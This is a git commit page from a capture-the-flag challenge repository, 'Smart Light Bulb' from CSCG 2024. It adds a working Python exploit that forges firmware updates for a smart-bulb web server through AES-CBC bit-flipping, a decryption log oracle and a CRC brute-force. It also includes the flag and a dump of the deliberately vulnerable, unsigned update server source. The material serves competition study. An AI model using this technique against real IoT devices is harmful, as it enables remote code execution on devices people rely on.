cscg24-smartlight

CSCG 2024 Challenge 'Smart Light Bulb'
git clone https://git.sinitax.com/sinitax/cscg24-smartlight
Log | Files | Refs | sfeed.txt

commit cbc0c7016d80a891e582d0c6e54d260e13a4cc0b
parent 12bb77642f7292853f0a2dde3f0c7939a25479fa
Author: Louis Burda <quent.burda@gmail.com>
Date:   Sun, 14 Apr 2024 01:48:44 +0200

Add solution

Diffstat:
Asolve/exploit.bin | 0
Asolve/flag | 1+
Asolve/solve | 87+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asolve/source | 0
Asolve/source.new | 0
Asolve/source.repr | 2++
Asolve/update.bin | 0
7 files changed, 90 insertions(+), 0 deletions(-)

diff --git a/solve/exploit.bin b/solve/exploit.bin Binary files differ. diff --git a/solve/flag b/solve/flag @@ -0,0 +1 @@ +CSCG{The_S_in_IoT_stands_for_security!} diff --git a/solve/solve b/solve/solve @@ -0,0 +1,87 @@ +#!/usr/bin/env python3 + +from Crypto.Cipher import AES +from crcmod.predefined import mkPredefinedCrcFun + +import itertools +import string +import struct +import requests +import time +import ast +import sys + +crc16 = mkPredefinedCrcFun("x-25") + +def xor(al, bl): + return bytes([a^b for a,b in zip(al, bl)]) + +def upload(session, firmware): + baseurl = f"https://{session}-8000-bulb.challenge.cscg.live:1337" + open("exploit.bin", "wb+").write(firmware) + files = { "file": ("update.bin", firmware, "application/octet-stream") } + r = requests.post(f"{baseurl}/update", files=files) + assert(r.status_code == 200) + if "Update running" in r.text: + print("Updating..") + time.sleep(10) + logs = requests.get(f"{baseurl}/logs").content + open("logs.txt", "wb+").write(logs) + return logs + +def parse(logs): + part = logs.decode().split("Decrypted content: ", 1)[1] + return ast.literal_eval(part.split("\n")[0].strip()) + +def fixup(source, target_crc): + allowed = set(string.printable) - set(string.whitespace) - {'#', '"', "'"} + key = b"{PERMUTE}" + addr = bytes(source).index(key) + for test in itertools.permutations(allowed, len(key)): + source[addr:addr+len(key)] = "".join(test).encode() + source[-2:] = struct.pack("<H", crc16(source[:-2])) + if source[-2:] == target_crc: + break + return source + +def patch_next(firmware, expectation, reality): + for addr in range(0, len(expectation), 16)[::-1]: + if expectation[addr:addr+16] != reality[addr:addr+16]: + faddr = 64 + addr - 16 + patch = xor(expectation[addr:addr+16], reality[addr:addr+16]) + firmware[faddr:faddr+16] = xor(patch, firmware[faddr:faddr+16]) + print("Mismatch", addr) + return firmware, addr == 0 + return firmware, True + +def patch(session, firmware, version, new_source, old_source): + prev_source = old_source + while True: + firmware[8:12] = struct.pack("<I", version) + firmware, final = patch_next(firmware, new_source, prev_source) + logs = upload(session, firmware) + if final: break + prev_source = parse(logs) + +def main(): + session = sys.argv[1] + + firmware = bytearray(open("update.bin", "rb").read()) + + old_source = bytearray(open("source", "rb").read()) + #assert(old_source == parse(upload(session, firmware))) + + new_source = bytearray(open("source.new", "rb").read()) + new_source = new_source[:len(old_source)] + assert(new_source[-3] == 0) + new_source = fixup(new_source, old_source[-2:]) + + patch(session, firmware, 152, new_source, old_source) + + baseurl = f"https://{session}-8000-bulb.challenge.cscg.live:1337" + print(requests.get(baseurl).text) + + + +if __name__ == "__main__": + main() diff --git a/solve/source b/solve/source Binary files differ. diff --git a/solve/source.new b/solve/source.new Binary files differ. diff --git a/solve/source.repr b/solve/source.repr @@ -0,0 +1 @@ +b'DECRYPT\x00\x00\x00\x00\x00\x00\x00#!/usr/bin/env python3\nfrom Crypto.Cipher import AES\nfrom challenge_secrets import AES_KEY, APP_KEY\nfrom crcmod.predefined import mkPredefinedCrcFun\nfrom flask import Flask, Response, flash, g, redirect, render_template_string, request, session\nimport io\nimport logging\nimport logging.handlers\nimport os\nimport signal\nimport struct\nimport sys\n\nVERSION_NUM = 150\nVERSION_STR = "1.5.0"\nUPDATE_FILENAME = "bulb-update.py"\nLOG_FILENAME = "bulb.log"\n\nTEMPLATE = """\n<!DOCTYPE html>\n<head>\n<title>Bulb</title>\n</head>\n<body>\n <div style="text-align: center;">\n <h2>Smart Lightbulb</h2>\n <img src="static/bulb-{{current}}.png" style="width: 150px;height: 174px">\n <form>\n <button type="submit" name="value" value="{{next}}" formmethod="post" style="border: outset;">Turn {{next}}</button>\n <button type="submit" name="value" value="color" formmethod="post" style="border: outset;">Change color</button>\n </form>\n </div>\n <div>\n <form style="position: absolute;bottom: 10px">\n <button type="submit" formaction="/update" style="border: none;">Update</button>\n </form>\n <span style="position: absolute;bottom: 10px;right: 10px">Version: {{version}}</span>\n </div>\n</body>\n"""\n\nUPDATE_TEMPLATE = """\n<!DOCTYPE html>\n<head>\n<title>Update</title>\n<style>\ninput[type="submit"], input::file-selector-button {\n background: hsl(210, 98%, 80%);\n border: none;\n border-radius: 5px;\n padding: 0.85em 2.5em;\n\tcursor: pointer;\n margin-top: 0.85em;\n margin-bottom: 0.85em;\n}\n.flash {\n background: rgba(200, 50, 50, 0.5);\n border: black solid;\n display: inline-block;\n border-radius: 5px;\n padding: 10px;\n}\n</style>\n</head>\n<body>\n <div style="text-align: center;">\n <h2>Firmware Update</h2>\n <p>Current version: {{version}}</p>\n {%with messages = get_flashed_messages()%}\n {%if messages%}\n {%for message in messages%}\n <div class="flash">{{message}}</div><br>\n {%endfor%}\n {%endif%}\n {%endwith%}\n <form method=post enctype=multipart/form-data>\n <label for="file">Select update file</label>\n <input type="file" name="file">\n <br>\n <input type="submit" value="Start Update">\n </form>\n <br>\n <p style="max-width: 500px;margin: auto;">If you have any problems with the latest version please <a href="/logs">Download</a> debug files and send them to cusomer support.\n </div>\n</body>\n"""\n\nlog_file = logging.handlers.WatchedFileHandler(LOG_FILENAME)\nlog_stdout = logging.StreamHandler(sys.stdout)\nlogging.basicConfig(handlers=[log_stdout, log_file])\nlogger_switch = logging.getLogger("switch")\nlogger_switch.setLevel(logging.DEBUG)\nlogger_update = logging.getLogger("update")\nlogger_update.setLevel(logging.DEBUG)\n\napp = Flask(__name__)\napp.config["SEND_FILE_MAX_AGE_DEFAULT"] = 300\napp.secret_key = APP_KEY\n\n\n@app.route("/", methods=["GET", "POST"])\ndef index():\n if request.method == "POST":\n match request.form.get("value"):\n case "on":\n session["switch"] = True\n logger_switch.info("Switch On")\n case "off":\n session["switch"] = False\n logger_switch.info("Switch Off")\n case "color":\n session["color"] = not session.get("color")\n session["switch"] = True\n logger_switch.info("Switch Color")\n case _:\n session["switch"] = True\n pass\n return redirect("/")\n match session.get("switch", False), session.get("color", False):\n case [True, True]:\n c_val, n_val = "color", "off"\n case [True, False]:\n c_val, n_val = "on", "off"\n case [False, _]:\n c_val, n_val = "off", "on"\n return render_template_string(TEMPLATE, current=c_val, next=n_val, version=VERSION_STR)\n\n\ncrc16 = mkPredefinedCrcFun("x-25")\n\n\ndef do_update(file):\n data = file.read()\n if len(data) != 8272:\n logger_update.info("Update file has wrong length")\n return False\n magic, version, signed, vendor, product, iv, data = struct.unpack("<8sI?3x16s16s16s8208s", data)\n if magic != b"Update\\x00\\x00":\n logger_update.info("Got wrong magic value %s", magic)\n return False\n if version <= VERSION_NUM:\n logger_update.info("Disallowed downgrade from current version %d to %d", VERSION_NUM, version)\n return False\n logger_update.info("Valid update header for %s %s to version %d", vendor, product, version)\n logger_update.info("Decrypting update content")\n cipher = AES.new(AES_KEY, AES.MODE_CBC, iv)\n data = cipher.decrypt(data)\n logger_update.debug("Decrypted content: %s", data)\n magic, firmware, check_crc = struct.unpack("<8s6x8192sH", data)\n if magic != b"DECRYPT\\x00":\n logger_update.info("Wrong magic on update content %s", magic)\n return False\n calc_crc = crc16(data[:-2])\n if calc_crc != check_crc:\n logger_update.info("CRC check failed. given: %d, calculated: %d", check_crc, calc_crc)\n return False\n if signed:\n # we don\'t need this as data is encrypted\n return False\n logger_update.info("All checks passed, writing new firmware file")\n open(UPDATE_FILENAME, "wb").write(firmware.strip(b"\\x00"))\n os.chmod(UPDATE_FILENAME, 0o777)\n logger_update.info("Firmware has been written")\n return True\n\n\n@app.route("/update", methods=["GET", "POST"])\ndef update():\n if request.method == "POST":\n if "file" not in request.files:\n flash("Something went wrong")\n elif request.files["file"].filename == "":\n flash("No file selected")\n elif do_update(request.files["file"]):\n logger_update.info("Update was successful. Rebooting...")\n if "SERVER_SOFTWARE" in os.environ:\n # running under gunicorn\n os.kill(os.getppid(), signal.SIGTERM)\n else:\n os.kill(os.getpid(), signal.SIGINT)\n flash("Update successful")\n return """\n <!DOCTYPE html>\n <meta http-equiv="refresh" content="3">\n Update running please wait...\n """\n else:\n flash("Invalid update file")\n return redirect("/update")\n return render_template_string(UPDATE_TEMPLATE, version=VERSION_STR)\n\n\n@app.route("/logs")\ndef logs():\n try:\n logs = open(LOG_FILENAME, "rb").read()\n os.unlink(LOG_FILENAME)\n logger_switch.info("Log file downloaded, removing old log")\n except FileNotFoundError:\n logs = b""\n return Response(logs, mimetype="text/plain", headers={"Content-disposition": "attachment"})\n\n\nif __name__ == "__main__":\n app.run(debug=False)\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\t' +\ No newline at end of file diff --git a/solve/update.bin b/solve/update.bin Binary files differ.